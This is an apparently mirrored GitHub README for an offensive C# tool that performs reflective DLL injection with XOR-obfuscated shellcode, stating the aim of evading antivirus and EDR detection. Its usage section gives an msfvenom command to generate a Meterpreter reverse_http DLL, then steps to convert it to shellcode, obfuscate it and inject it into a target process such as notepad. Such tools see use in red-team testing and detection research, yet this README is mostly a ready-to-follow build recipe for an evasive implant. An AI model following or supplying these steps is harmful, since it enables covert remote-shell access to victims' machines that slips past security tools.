Giter Club home page Giter Club logo

xoredreflectivedll's Introduction

XORed Reflective DLL Injection

This tool written in C# with the purpose to perform Reflective DLL Injection with obfuscated (XOR) shellcode and bypass some Anti-Virus signatures and EDRs.

The tool consists the following projects:

  • Xoring - Takes a key and then xoring the shellcode.
  • XORedReflectiveDLL - Process Injection Loader for the obfuscated shellcode.

Usage

1) Generate DLL using msfvenom. (Feel free to use any tool you want to generate DLL. e.g: cobalt strike or write your custom DLL)
	msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<> LPORT=<> -b "\x00" -f dll > reverse_http.dll
2) Use [sRDI](https://github.com/monoxgas/sRDI) to convert DLL to position independent shellcode.
	python3.6 ConvertToShellcode.py reverse_http.dll
3) Execute the below command to convert .bin file to a compatible C# byte array format:
	hexdump -v -e '1/1 "0x%02x,"' reverse_http.bin | sed 's/.$//' > reverse_http_bytearray.txt
4) Copy the byte array shellcode from the reverse_http_bytearray.txt and paste it in the Xoring.cs file at line 29. Make sure to paste it inside the curly brackets.
5) Change the XOR key at line 26.
6) Build solution and run the Xoring.exe to obfuscate the shellcode.
7) Open the file created (It should be similar to: xored_shellcode_*current date*.txt), copy the byte array and paste it in the Reflective.cs file at line 150.
8) Change the XOR key. (Make sure that the key is the same with the one that you used in Xoring.cs file before.)
9) Change target process. e.g: notepad, iexplore, etc..etc..
10) Build the program and run XORedReflectiveDLL.exe

Credits

Credits goes to monoxgas for the sDRI tool that convert DLLs to position independent shellcode.
Stephen Fewer for the Reflective DLL injection technique.

xoredreflectivedll's People

Contributors

r3nhat avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.